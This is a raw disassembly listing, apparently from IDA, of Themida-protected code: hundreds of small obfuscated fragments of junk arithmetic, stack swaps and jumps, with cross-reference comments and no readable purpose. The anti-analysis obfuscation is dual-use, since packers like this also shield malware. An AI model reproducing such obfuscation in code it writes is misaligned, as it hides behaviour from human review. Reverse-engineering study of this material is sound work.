		and	ecx, 3BBA49B5h
		push	eax
		mov	eax, 54512D7Ah
		xor	eax, 64E566A5h
		sub	ecx, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		add	eax, 77261AB4h
		sub	eax, 35536572h
		sub	eax, esi
		add	eax, 35536572h
		sub	eax, 77261AB4h
		jmp	loc_547F08
; ---------------------------------------------------------------------------


loc_54D162:				; CODE XREF: Themida_:0054C3EBj
		mov	esi, 0A0607FBh
		xor	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_54D195
; ---------------------------------------------------------------------------


loc_54D171:				; CODE XREF: Themida_:00548BB5j
		mov	eax, esp
		jmp	loc_54D68B
; ---------------------------------------------------------------------------


loc_54D178:				; CODE XREF: Themida_:00548940j
		add	esp, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54F520
; ---------------------------------------------------------------------------


loc_54D18B:				; CODE XREF: Themida_:0054E1D4j
		mov	ebp, 45EB5541h
		jmp	loc_54A192
; ---------------------------------------------------------------------------


loc_54D195:				; CODE XREF: Themida_:0054D16Cj
		pop	edx
		jmp	loc_54FB36
; ---------------------------------------------------------------------------


loc_54D19B:				; CODE XREF: Themida_:0054D7C4j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 6928298Bh
		jmp	loc_545BA3
; ---------------------------------------------------------------------------


loc_54D1AC:				; CODE XREF: Themida_:0054B238j
		pop	eax
		jmp	loc_54F8D7
; ---------------------------------------------------------------------------


loc_54D1B2:				; CODE XREF: Themida_:0054F5CFj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_54C3AB
; ---------------------------------------------------------------------------


loc_54D1C3:				; CODE XREF: Themida_:0054F009j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54D1C8:				; CODE XREF: Themida_:00544FF9j
		inc	ebx
		jmp	loc_547C04
; ---------------------------------------------------------------------------


loc_54D1CE:				; CODE XREF: Themida_:005483E0j
		not	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_54E60D
; ---------------------------------------------------------------------------


loc_54D1DD:				; CODE XREF: Themida_:0054BB1Dj
		add	esp, 4
		jmp	loc_547EFD
; ---------------------------------------------------------------------------


loc_54D1E5:				; CODE XREF: Themida_:00546A55j
		pop	ebx
		mov	edx, [esp]
		jmp	loc_545008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54D1EE:				; CODE XREF: sub_545BCC+1964j
		mov	ch, 34h
		add	bl, 0C1h
		add	bl, ch
		jmp	loc_54B95C
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_54D1FA:				; CODE XREF: Themida_:0054BD55j
		pop	ebx
		push	edi
		mov	edi, 26A35C9Ch
		xor	edi, 7E20694h
		and	edi, 4E697E7Dh
		sub	edi, 7D807FF9h
		shr	edi, 1
		xor	edi, 41606D05h
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_544B91
; ---------------------------------------------------------------------------


loc_54D22B:				; CODE XREF: Themida_:005460A2j
		add	ebp, 244003EBh
		sub	ebp, 680E7682h
		jmp	loc_548DA4
; ---------------------------------------------------------------------------


loc_54D23C:				; CODE XREF: Themida_:00544CACj
		add	esp, 4
		jmp	loc_5495BC
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	3397h
		jmp	loc_54EEB2
; ---------------------------------------------------------------------------


loc_54D251:				; CODE XREF: Themida_:0054598Bj
		push	564h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 2
		add	edi, ebx
		pop	ebx
		push	esi
		jmp	loc_54C73B
; ---------------------------------------------------------------------------


loc_54D270:				; CODE XREF: Themida_:0054ABE6j
		dec	edi
		sub	edi, 93D0429h
		xor	esi, edi
		pop	edi
		xor	esi, 0C7BCA9D0h
		add	ebx, esi
		jmp	loc_545769
; ---------------------------------------------------------------------------


loc_54D287:				; CODE XREF: Themida_:0054DF02j
		push	ebp
		mov	ebp, esp
		jmp	loc_548AFC
; ---------------------------------------------------------------------------


loc_54D28F:				; CODE XREF: Themida_:0054A8A3j
		mov	[esp], ebp
		mov	ebp, 3D60507h
		xor	ebp, 31F40DE2h
		push	eax
		jmp	loc_5448A5
; ---------------------------------------------------------------------------


loc_54D2A3:				; CODE XREF: Themida_:0054D000j
		push	esi
		push	ebp
		mov	ebp, 67231E6Ch
		add	ebp, 3977277Bh
		jmp	loc_54A03E
; ---------------------------------------------------------------------------


loc_54D2B5:				; CODE XREF: Themida_:00549888j
		inc	ecx
		or	ecx, 48001117h
		not	ecx
		push	eax
		mov	eax, 6C2D3483h
		or	eax, 120A54EEh
		add	eax, 1
		or	eax, 17E60598h
		shr	eax, 1
		not	eax
		xor	eax, 0CFED8F70h
		sub	ecx, eax
		pop	eax
		add	ebx, 6AC51F52h
		add	ebx, ecx
		sub	ebx, 6AC51F52h
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	6F131AEh
		jmp	loc_548DEB
; ---------------------------------------------------------------------------


loc_54D2FC:				; CODE XREF: Themida_:0054D944j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	ecx
		jmp	loc_548F56
; ---------------------------------------------------------------------------


loc_54D315:				; CODE XREF: Themida_:0054758Dj
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		push	esp
		jmp	loc_54EED7
; ---------------------------------------------------------------------------


loc_54D323:				; CODE XREF: Themida_:0054CC10j
		push	edi
		mov	edi, 65151DBFh
		push	ebx
		mov	ebx, 7E737AC0h
		jmp	loc_54D78C
; ---------------------------------------------------------------------------


loc_54D334:				; CODE XREF: Themida_:00549134j
		sub	ax, 5D90h
		add	ax, 6B58h
		sub	ax, bp
		sub	ax, 6B58h
		add	ax, 5D90h
		pop	ebp
		jmp	loc_54A05A
; ---------------------------------------------------------------------------


loc_54D34D:				; CODE XREF: Themida_:00545B82j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54AB9C
; ---------------------------------------------------------------------------


loc_54D358:				; CODE XREF: Themida_:0054BEDFj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_545185
; ---------------------------------------------------------------------------


loc_54D367:				; CODE XREF: Themida_:0054D686j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_546859
; ---------------------------------------------------------------------------


loc_54D379:				; CODE XREF: Themida_:0054CA30j
		mov	[esp], esp
		push	esi
		jmp	loc_54521A
; ---------------------------------------------------------------------------


loc_54D382:				; CODE XREF: Themida_:0054F586j
		not	ebp
		xor	ebp, 0C839D1E3h
		add	ebx, 3602F82h
		jmp	loc_546345
; ---------------------------------------------------------------------------


loc_54D395:				; CODE XREF: Themida_:0054D952j
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_548768
; ---------------------------------------------------------------------------


loc_54D3A6:				; CODE XREF: Themida_:0054BF6Aj
		sub	ebx, edi
		pop	edi
		add	eax, 79CF0ACEh
		add	eax, ebx
		push	ebx
		mov	ebx, 143936EBh
		or	ebx, 66500910h
		dec	ebx
		jmp	loc_54B928
; ---------------------------------------------------------------------------


loc_54D3C2:				; CODE XREF: Themida_:0054EEADj
		add	esi, 0C8B2AD2Ch
		mov	edi, esi
		pop	esi
		push	edx
		mov	edx, 757757D7h
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54AB3E
; ---------------------------------------------------------------------------


loc_54D3E1:				; CODE XREF: Themida_:00546589j
		mov	edx, 8428B36Dh
		sub	ecx, edx
		jmp	loc_54E468
; ---------------------------------------------------------------------------


loc_54D3ED:				; CODE XREF: Themida_:00548169j
		or	esi, 3FAD53A1h
		or	esi, 22FB6B40h
		jmp	loc_54E8D9
; ---------------------------------------------------------------------------


loc_54D3FE:				; CODE XREF: Themida_:00546083j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54F832
; ---------------------------------------------------------------------------


loc_54D40A:				; CODE XREF: Themida_:0054BEF9j
		pop	ebx
		jmp	loc_54B820
; ---------------------------------------------------------------------------


loc_54D410:				; CODE XREF: Themida_:0054B381j
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_54ADEE
; ---------------------------------------------------------------------------


loc_54D41A:				; CODE XREF: Themida_:00547A44j
		push	585F5F2Bh
		pop	edi
		push	eax
		jmp	loc_54C602
; ---------------------------------------------------------------------------


loc_54D426:				; CODE XREF: Themida_:0054923Bj
		add	esp, 4
		sub	esi, edi
		push	edi
		jmp	loc_54AB04
; ---------------------------------------------------------------------------


loc_54D434:				; CODE XREF: Themida_:0054E742j
		pop	edx
		sub	al, ch
		mov	cx, [esp]
		add	esp, 2
		mov	ebx, [esp]
		jmp	loc_54EED1
; ---------------------------------------------------------------------------


loc_54D446:				; CODE XREF: Themida_:0054A867j
		push	esi
		sub	esp, 4
		jmp	loc_54A00F
; ---------------------------------------------------------------------------


loc_54D44F:				; CODE XREF: Themida_:00546D70j
		mov	dh, 31h
		sub	ch, dh
		pop	dx
		neg	ch
		push	ebx
		mov	bh, 13h
		push	ecx
		mov	ch, 16h
		jmp	loc_547E50
; ---------------------------------------------------------------------------


loc_54D462:				; CODE XREF: Themida_:00547EB4j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	bl, al
		jmp	loc_54A0C6
; ---------------------------------------------------------------------------


loc_54D485:				; CODE XREF: Themida_:0054B457j
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_545B3F
; ---------------------------------------------------------------------------


loc_54D494:				; CODE XREF: Themida_:00547DF4j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ecx, 6B649C1Bh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5445AE
; ---------------------------------------------------------------------------


loc_54D4B2:				; CODE XREF: Themida_:0054E13Cj
		xor	eax, 68297BD7h
		dec	eax
		jmp	loc_54F90F
; ---------------------------------------------------------------------------


loc_54D4BD:				; CODE XREF: Themida_:0054E608j
		mov	ebp, 5D3219A5h
		add	ebp, 6B0E56A9h
		sub	ebp, 7F5C1E58h
		jmp	loc_54B5B2
; ---------------------------------------------------------------------------


loc_54D4D3:				; CODE XREF: Themida_:005497BFj
		neg	ecx
		jmp	loc_54FFAA
; ---------------------------------------------------------------------------


loc_54D4DA:				; CODE XREF: Themida_:0054E59Dj
		pop	ebx
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	68D5h
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_547429
; ---------------------------------------------------------------------------


loc_54D518:				; CODE XREF: Themida_:0054AFC4j
		push	eax
		mov	al, 40h
		inc	al
		jmp	loc_54C102
; ---------------------------------------------------------------------------


loc_54D522:				; CODE XREF: Themida_:0054ED70j
		xchg	ebp, [esp]
		jmp	loc_54B2B4
; ---------------------------------------------------------------------------


loc_54D52A:				; CODE XREF: Themida_:00549051j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	ecx
		mov	ecx, 3E90412h
		neg	ecx
		sub	ecx, 11113545h
		shr	ecx, 2
		or	ecx, 32BD2405h
		jmp	loc_545EB0
; ---------------------------------------------------------------------------


loc_54D54E:				; CODE XREF: Themida_:00546282j
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_54A078
; ---------------------------------------------------------------------------


loc_54D569:				; CODE XREF: Themida_:0054528Dj
		inc	bl
		mov	al, bl
		jmp	loc_54DF19
; ---------------------------------------------------------------------------


loc_54D572:				; CODE XREF: Themida_:0054942Dj
		push	2DD7h
		mov	[esp], edi
		push	esi
		mov	esi, 0B0E2DE8h
		jmp	loc_5498F3
; ---------------------------------------------------------------------------


loc_54D585:				; CODE XREF: Themida_:0054A479j
		shr	ah, 4
		add	ah, 38h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54F858
; ---------------------------------------------------------------------------


loc_54D599:				; CODE XREF: Themida_:0054CFA5j
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54F87B
; ---------------------------------------------------------------------------


loc_54D5AA:				; CODE XREF: Themida_:0054E19Bj
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	dword ptr [esp+4], 0EA1658Ah
		sub	[esp+4], ebx
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 55171E0Ch
		mov	esi, 0B98A477Eh
		jmp	loc_54B28B
; ---------------------------------------------------------------------------


loc_54D5D5:				; CODE XREF: Themida_:00549BA4j
		sub	ebx, 27C335B5h
		push	ebp
		mov	ebp, 7475756Ch
		push	1F6Eh
		mov	[esp], edi
		mov	edi, 4D1A2352h
		xor	edi, 3AA96BE7h
		neg	edi
		xor	edi, 95EBA953h
		add	ebx, edi
		jmp	loc_54F1B1
; ---------------------------------------------------------------------------


loc_54D603:				; CODE XREF: Themida_:005493ACj
		shr	ecx, 0Bh
		push	14E4h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 7C053457h
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5476C5
; ---------------------------------------------------------------------------


loc_54D62A:				; CODE XREF: Themida_:0054B4FCj
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_545FAF
; ---------------------------------------------------------------------------


loc_54D63D:				; CODE XREF: Themida_:0054E965j
		mov	edi, edx
		jmp	loc_5470B5
; ---------------------------------------------------------------------------


loc_54D644:				; CODE XREF: Themida_:0054A160j
		inc	ebp
		add	ebp, 5D02F9F4h
		push	eax
		mov	eax, ebp
		mov	edx, eax
		pop	eax
		pop	ebp
		jmp	loc_547950
; ---------------------------------------------------------------------------


loc_54D657:				; CODE XREF: Themida_:00545DD5j
		add	ebp, 4
		jmp	loc_54D8CC
; ---------------------------------------------------------------------------


loc_54D662:				; CODE XREF: Themida_:00549C8Dj
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54D66E:				; CODE XREF: Themida_:0054AD1Cj
		add	ecx, 439A5ED6h
		jmp	loc_54DE14
; ---------------------------------------------------------------------------


loc_54D679:				; CODE XREF: Themida_:0054F396j
		and	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_54D367
; ---------------------------------------------------------------------------


loc_54D68B:				; CODE XREF: Themida_:0054D173j
		push	ebp
		mov	ebp, 0F621B4Ch
		or	ebp, 33895E68h
		jmp	loc_54B70D
; ---------------------------------------------------------------------------


loc_54D69C:				; CODE XREF: Themida_:0054B2DFj
		push	4CB8h
		jmp	loc_5469F8
; ---------------------------------------------------------------------------


loc_54D6A6:				; CODE XREF: Themida_:00549F92j
		sub	eax, esi
		pop	esi
		jmp	loc_54C654
; ---------------------------------------------------------------------------


loc_54D6AE:				; CODE XREF: Themida_:0055001Cj
		pop	esp
		and	eax, esi
		jmp	loc_54ACD6
; ---------------------------------------------------------------------------


loc_54D6B6:				; CODE XREF: Themida_:005444AFj
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5490B9
; ---------------------------------------------------------------------------


loc_54D6C9:				; CODE XREF: Themida_:0054C13Cj
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	eax
		push	70BFh
		mov	[esp], esi
		jmp	loc_54B905
; ---------------------------------------------------------------------------


loc_54D6E5:				; CODE XREF: Themida_:00544DF9j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54D6F6:				; CODE XREF: Themida_:00544119j
		push	2CA27580h
		pop	esi
		and	edi, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_54CE1D
; ---------------------------------------------------------------------------


loc_54D707:				; CODE XREF: Themida_:005469B0j
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 689734B5h
		neg	edx
		or	edx, 354C488Bh
		xor	edx, 6F1F02F0h
		and	edx, 686348B2h
		jmp	loc_549CB1
; ---------------------------------------------------------------------------


loc_54D742:				; CODE XREF: Themida_:0054BC05j
		xor	ebx, 5E8F6D19h
		push	ecx
		jmp	loc_54E440
; ---------------------------------------------------------------------------


loc_54D74E:				; CODE XREF: Themida_:005449DBj
		push	ebp
		mov	ebp, 380865D1h
		jmp	loc_54778F
; ---------------------------------------------------------------------------


loc_54D759:				; CODE XREF: Themida_:0054E620j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xchg	eax, edx
		jmp	loc_549DEA
; ---------------------------------------------------------------------------


loc_54D769:				; CODE XREF: Themida_:0054E5B2j
		and	eax, 3A885CFAh
		push	ecx
		mov	ecx, 20B850DDh
		jmp	loc_54B861
; ---------------------------------------------------------------------------


loc_54D779:				; CODE XREF: Themida_:0054F618j
		add	ch, 0A6h
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, 0EEh
		jmp	loc_544A63
; ---------------------------------------------------------------------------


loc_54D78C:				; CODE XREF: Themida_:0054D32Fj
		sub	ebx, 793D02BEh
		and	ebx, 4CF2162Ch
		dec	ebx
		sub	ebx, 58157305h
		jmp	loc_549AE9
; ---------------------------------------------------------------------------


loc_54D7A4:				; CODE XREF: Themida_:00548E34j
		not	edx
		xor	edx, 61C207E3h
		not	edx
		jmp	loc_54F982
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_548723
; ---------------------------------------------------------------------------


loc_54D7BC:				; CODE XREF: Themida_:00545BA5j
		pop	ebp
		jmp	loc_54A2A0
; ---------------------------------------------------------------------------


loc_54D7C2:				; CODE XREF: Themida_:005482A4j
		and	edx, ecx
		jmp	loc_54D19B
; ---------------------------------------------------------------------------


loc_54D7C9:				; CODE XREF: Themida_:005477A5j
		mov	esp, [esp]
		jmp	loc_546541
; ---------------------------------------------------------------------------


loc_54D7D1:				; CODE XREF: Themida_:0054B2C6j
		mov	[esp], ecx
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_547468
; ---------------------------------------------------------------------------


loc_54D7E9:				; CODE XREF: Themida_:00545A92j
		xor	[ecx], esi
		pop	ecx
		jmp	loc_54CC32
; ---------------------------------------------------------------------------


loc_54D7F1:				; CODE XREF: Themida_:0054E289j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54D7FD:				; CODE XREF: Themida_:0054B87Aj
		add	[esp], al
		pushf
		jmp	loc_54FBE1
; ---------------------------------------------------------------------------


loc_54D806:				; CODE XREF: Themida_:0054EA2Dj
		shl	ebp, 5
		xor	ebp, 9A53756h
		add	edi, ebp
		jmp	loc_54CE29
; ---------------------------------------------------------------------------


loc_54D816:				; CODE XREF: Themida_:00547684j
		mov	esi, ecx
		pop	ecx
		sub	edi, 54437A4h
		jmp	loc_545935
; ---------------------------------------------------------------------------


loc_54D824:				; CODE XREF: Themida_:0054D045j
		push	4F42h
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_5492FC
; ---------------------------------------------------------------------------


loc_54D833:				; CODE XREF: Themida_:0054AD4Aj
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		sub	ebp, 72B21804h
		add	ebp, ebx
		add	ebp, 72B21804h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	5C2Eh
		jmp	loc_5469B5
; ---------------------------------------------------------------------------


loc_54D86E:				; CODE XREF: Themida_:0054C763j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_545BD9
; ---------------------------------------------------------------------------


loc_54D877:				; CODE XREF: Themida_:00548EBAj
		pop	eax
		add	edx, ebx
		add	edx, 56C952BBh
		pop	ebx
		sub	esp, 4
		jmp	loc_54B10E
; ---------------------------------------------------------------------------


loc_54D88C:				; CODE XREF: Themida_:0054FFB9j
		push	edx
		mov	edx, 7D5362Fh
		sub	edx, 7D5362Bh
		add	ebx, edx
		jmp	loc_54EAFF
; ---------------------------------------------------------------------------


loc_54D89F:				; CODE XREF: Themida_:00549B92j
		mov	eax, 344A5051h
		jmp	loc_54FE3B
; ---------------------------------------------------------------------------


loc_54D8A9:				; CODE XREF: Themida_:00547500j
		and	eax, 0F431AA3h
		xor	eax, 6CD6591Bh
		sub	eax, 34ACEEB9h
		mov	edi, eax
		pop	eax
		mov	eax, 353DDD78h
		jmp	loc_5477AA
; ---------------------------------------------------------------------------


loc_54D8C5:				; CODE XREF: Themida_:005467ECj
		add	esi, edx
		jmp	loc_549238
; ---------------------------------------------------------------------------


loc_54D8CC:				; CODE XREF: Themida_:0054D65Dj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_547F2B
; ---------------------------------------------------------------------------


loc_54D8DB:				; CODE XREF: Themida_:0054593Ej
		sub	edi, 0D7602526h
		push	ebx
		mov	ebx, edi
		push	71B0h
		mov	[esp], ebx
		pop	ecx
		jmp	loc_54ADF9
; ---------------------------------------------------------------------------


loc_54D8F2:				; CODE XREF: Themida_:005471B4j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, eax
		jmp	loc_547CA0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54D917:				; CODE XREF: Themida_:0054DC7Dj
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	2A85h
		mov	[esp], ebx
		push	118F76C6h
		mov	ebx, [esp]
		jmp	loc_54F59D
; ---------------------------------------------------------------------------


loc_54D934:				; CODE XREF: Themida_:005500CEj
		sub	edi, ecx
		pop	ecx
		jmp	loc_54492C
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	3C90h
		jmp	loc_54D2FC
; ---------------------------------------------------------------------------


loc_54D949:				; CODE XREF: Themida_:00544175j
		mov	[esp], edx
		push	2783738Dh
		pop	edx
		jmp	loc_54D395
; ---------------------------------------------------------------------------


loc_54D957:				; CODE XREF: Themida_:00549930j
		pop	ebx
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54BF1F
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		jmp	loc_545458
; ---------------------------------------------------------------------------


loc_54D973:				; CODE XREF: Themida_:0054A12Cj
		add	esp, 4
		add	edi, 4
		jmp	loc_5468AC
; ---------------------------------------------------------------------------


loc_54D984:				; CODE XREF: Themida_:00545D0Ej
		push	ebx
		jmp	loc_5499E7
; ---------------------------------------------------------------------------


loc_54D98A:				; CODE XREF: Themida_:0054E23Bj
		add	edi, 0FFFFFFFFh
		or	edi, 78127635h
		push	esi
		mov	esi, 673223BFh
		not	esi
		shr	esi, 4
		shl	esi, 4
		shl	esi, 5
		or	esi, 78F8054Dh
		xor	esi, 7CF6848Ch
		add	edi, esi
		jmp	loc_546825
; ---------------------------------------------------------------------------


loc_54D9BA:				; CODE XREF: Themida_:0054821Cj
		mov	ebp, [esp]
		jmp	loc_54C9A4
; ---------------------------------------------------------------------------


loc_54D9C2:				; CODE XREF: Themida_:0054AB39j
		pop	ebx
		push	edi
		mov	edi, 9FE29DFh
		jmp	loc_54BD95
; ---------------------------------------------------------------------------


loc_54D9CE:				; CODE XREF: Themida_:005485D4j
		pop	ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_546B93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54D9D7:				; CODE XREF: sub_545BCC+4E83j
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ecx
		mov	ch, 0A8h
		push	bx
		mov	bl, 40h
		jmp	loc_5446FA
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_54D9E9:				; CODE XREF: Themida_:0054A7FFj
		add	ebp, edi
		add	ebp, 14273FA1h
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_544EFF
; ---------------------------------------------------------------------------


loc_54DA01:				; CODE XREF: Themida_:0054B716j
		xor	edx, 4467446Bh
		dec	edx
		add	edx, 14607D65h
		inc	edx
		xor	edx, 2FA0007Bh
		xor	edx, 0AFD3B385h
		add	ebp, edx
		pop	edx
		push	ebx
		push	eax
		jmp	loc_54F19E
; ---------------------------------------------------------------------------


loc_54DA25:				; CODE XREF: Themida_:0054DA3Bj
		add	bh, 0AAh
		add	cl, bh
		pop	ebx
		sub	bh, cl
		pop	ecx
		add	dl, bh
		jmp	loc_54853F
; ---------------------------------------------------------------------------


loc_54DA35:				; CODE XREF: Themida_:005450AEj
		push	ebx
		mov	bh, 0DDh
		add	bh, 0EDh
		jmp	loc_54DA25
; ---------------------------------------------------------------------------


loc_54DA40:				; CODE XREF: Themida_:0054BBEBj
		or	esi, 62077876h
		add	esi, 243F0715h
		jmp	loc_544ADA
; ---------------------------------------------------------------------------


loc_54DA51:				; CODE XREF: Themida_:00545AA1j
		mov	[esp], ebx
		jmp	loc_54AFC0
; ---------------------------------------------------------------------------


loc_54DA59:				; CODE XREF: Themida_:0054E75Cj
		mov	edx, 4
		add	ecx, edx
		jmp	loc_548ADB
; ---------------------------------------------------------------------------


loc_54DA65:				; CODE XREF: Themida_:00548CE9j
		sub	ebp, 1
		jmp	loc_54FD8B
; ---------------------------------------------------------------------------


loc_54DA6D:				; CODE XREF: Themida_:00544BEBj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_548C3E
; ---------------------------------------------------------------------------


loc_54DA76:				; CODE XREF: Themida_:00545745j
		add	ebp, 39C9724Eh
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_550021
; ---------------------------------------------------------------------------


loc_54DA8B:				; CODE XREF: Themida_:005489CDj
		pop	edx
		jmp	loc_54CD6B
; ---------------------------------------------------------------------------


loc_54DA91:				; CODE XREF: Themida_:0054651Aj
		dec	bl
		not	bl
		sub	bl, 79h
		sub	cl, bl
		jmp	loc_547742
; ---------------------------------------------------------------------------


loc_54DA9F:				; CODE XREF: Themida_:00547B9Ej
		add	ecx, 0EDA60CE4h
		jmp	loc_549139
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		push	small 75ECh
		jmp	loc_54E9D4
; ---------------------------------------------------------------------------


loc_54DAB7:				; CODE XREF: Themida_:00547CF6j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54B21D
; ---------------------------------------------------------------------------


loc_54DACB:				; CODE XREF: Themida_:00545944j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, 529F1825h
		add	ebp, 0EABC0548h
		add	edx, ebp
		pop	ebp
		add	edx, eax
		push	ebp
		mov	ebp, 3D5B1D6Dh
		sub	edx, ebp
		pop	ebp
		push	2102h
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_548D22
; ---------------------------------------------------------------------------


loc_54DB00:				; CODE XREF: Themida_:00545FA4j
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_54C32A
; ---------------------------------------------------------------------------


loc_54DB0D:				; CODE XREF: Themida_:005454E9j
		push	7623h
		jmp	loc_54BFA6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54C7A1
; ---------------------------------------------------------------------------


loc_54DB30:				; CODE XREF: Themida_:0054766Cj
		add	bx, 63EEh
		sub	esp, 4
		jmp	loc_54DD81
; ---------------------------------------------------------------------------


loc_54DB3D:				; CODE XREF: Themida_:00546F51j
		add	edi, eax
		jmp	loc_5446C0
; ---------------------------------------------------------------------------


loc_54DB44:				; CODE XREF: Themida_:loc_544F41j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_549458
; ---------------------------------------------------------------------------


loc_54DB53:				; CODE XREF: Themida_:00544748j
		pop	dword ptr [esp]
		jmp	loc_54A316
; ---------------------------------------------------------------------------


loc_54DB5B:				; CODE XREF: Themida_:0054B1C5j
		mov	bp, 2CA5h
		jmp	loc_54F247
; ---------------------------------------------------------------------------


loc_54DB64:				; CODE XREF: Themida_:0054C28Fj
		mov	[esp+4], bh
		jmp	loc_547349
; ---------------------------------------------------------------------------
		sub	esp, 4
